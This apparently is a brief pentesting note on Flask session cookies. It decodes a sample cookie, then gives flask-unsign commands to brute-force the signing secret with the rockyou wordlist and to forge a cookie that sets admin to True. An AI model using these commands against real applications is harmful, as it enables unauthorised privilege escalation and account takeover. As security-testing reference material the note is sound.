Flask

Flask session cookies looks something like this:

eyJhZG1pbiI6ZmFsc2UsInVpZCI6InQxIn0.Y8MWdQ.2GDhtc5YkYsDn6rbJ5BA3XbZmYw

Where the first part is base64 encoded data. In this case {"admin":false,"uid":"t1"}.

To decode, sign and unsign the session cookies, flask-unsign can be used.

flask-unsign -d -c eyJhZG1pbiI6ZmFsc2UsInVpZCI6InQxIn0.Y8MWdQ.2GDhtc5YkYsDn6rbJ5BA3XbZmYw

flask-unsign -u -c eyJhZG1pbiI6ZmFsc2UsInVpZCI6InQxIn0.Y8MWdQ.2GDhtc5YkYsDn6rbJ5BA3XbZmYw
-w rockyou.txt --no-literal-eval

flask-unsign -S <secret> -s -c "{'admin': True, 'uid': 't1'}"